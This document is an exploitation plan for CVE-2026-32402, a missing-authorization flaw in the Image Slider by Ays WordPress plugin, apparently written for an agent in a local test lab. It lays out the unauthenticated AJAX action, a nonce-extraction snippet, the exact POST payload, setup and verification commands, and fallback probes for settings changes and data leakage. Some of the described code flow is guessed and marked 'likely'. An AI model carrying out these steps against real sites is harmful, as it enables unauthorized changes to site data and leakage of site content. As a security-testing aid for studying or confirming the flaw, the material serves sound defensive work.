Exploitation Research Plan - CVE-2026-32402 (Image Slider by Ays)

1. Vulnerability Summary

The Image Slider by Ays plugin (up to version 2.7.1) contains a missing authorization vulnerability. Specifically, certain AJAX actions intended for administrative use are registered with wp_ajax_nopriv_ or fail to implement current_user_can() checks in their callbacks. This allows unauthenticated attackers to perform privileged actions, such as duplicating sliders, modifying settings, or accessing slider data, which should be restricted to users with manage_options or similar capabilities.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: ays_slider_duplicate_slider (Targeting the slider duplication functionality as the unauthorized action).
• Payload Parameter: ays_slider_id (The ID of the slider to duplicate).
• Authentication: Unauthenticated (via wp_ajax_nopriv_ hook).
• Preconditions: At least one slider must exist in the system to be duplicated.

3. Code Flow

1. Registration: The plugin registers AJAX handlers in includes/class-ays-slider-ajax.php or admin/class-ays-slider-admin.php.
   • add_action( 'wp_ajax_ays_slider_duplicate_slider', array( $this, 'ays_slider_duplicate_slider' ) );
   • add_action( 'wp_ajax_nopriv_ays_slider_duplicate_slider', array( $this, 'ays_slider_duplicate_slider' ) );
2. Callback: The function ays_slider_duplicate_slider is invoked.
3. Missing Check: Inside the callback, the code likely checks for a nonce using check_ajax_referer( 'ays_slider_ajax_nonce', 'ays_slider_nonce' ) but fails to call current_user_can( 'manage_options' ).
4. Execution: The function proceeds to clone the slider database entry in the {wpdb->prefix}ays_slider_sliders and {wpdb->prefix}ays_slider_slides tables.

4. Nonce Acquisition Strategy

The plugin typically enqueues its scripts and localizes a nonce for AJAX operations. This nonce is often available on the frontend if a slider shortcode is present on a page.

• Shortcode: [ays_slider id="1"]
• JS Localization Key: ays_slider_ajax or ays_slider_admin_obj
• Nonce Key: ays_slider_nonce

Strategy:

1. Create a test slider using WP-CLI.
2. Create a public WordPress page containing the slider shortcode.
3. Navigate to that page using the browser.
4. Execute JavaScript via browser_eval to extract the nonce.

// Extraction command
browser_eval("ays_slider_ajax?.ays_slider_nonce || ays_slider_admin_obj?.ays_slider_nonce")

5. Exploitation Strategy

1. Preparation: Identify a valid slider ID (e.g., 1).
2. Nonce Retrieval: Use the "Test Data Setup" steps below to get a valid ays_slider_nonce.
3. Exploit Request: Send a POST request to admin-ajax.php to trigger the unauthorized duplication.

HTTP Request:

• Method: POST
• URL: http://vulnerable-test.local/wp-admin/admin-ajax.php
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=ays_slider_duplicate_slider&ays_slider_id=1&ays_slider_nonce=[EXTRACTED_NONCE]
  

6. Test Data Setup

1. Install Plugin: Ensure ays-slider version 2.7.1 is installed.
2. Create Slider:

   # Create a slider manually or via SQL if CLI command is not available
   wp db query "INSERT INTO wp_ays_slider_sliders (title, author, status) VALUES ('Original Slider', 1, 'publish');"
   # Note the ID (usually 1)
   

3. Create Page with Shortcode:

   wp post create --post_type=page --post_title="Slider Page" --post_status=publish --post_content='[ays_slider id="1"]'
   

7. Expected Results

• Response: The server should return a JSON response indicating success (e.g., {"status":true,"id":2} or a redirect/HTML fragment of the new slider).
• Unauthorized Action: A new row should be created in the wp_ays_slider_sliders table, duplicating the data from the original slider ID.

8. Verification Steps

1. Check Database: Use WP-CLI to verify a new slider exists with a different ID but identical content.

   wp db query "SELECT id, title FROM wp_ays_slider_sliders;"
   

2. Confirm Count:

   # Initially 1 slider, after exploit should be 2
   wp db query "SELECT COUNT(*) FROM wp_ays_slider_sliders;"
   

9. Alternative Approaches

If ays_slider_duplicate_slider is not the vulnerable action, search for other nopriv registrations:

1. Search the codebase for wp_ajax_nopriv_.

   grep -r "wp_ajax_nopriv_" /var/www/html/wp-content/plugins/ays-slider/
   

2. Check for ays_slider_save_settings or ays_slider_export_sliders actions.
3. If a nonce check is missing entirely, omit the ays_slider_nonce parameter in the Exploitation Strategy and attempt the request directly.
4. Check if ays_slider_get_sliders allows unauthorized data leakage of all slider configurations.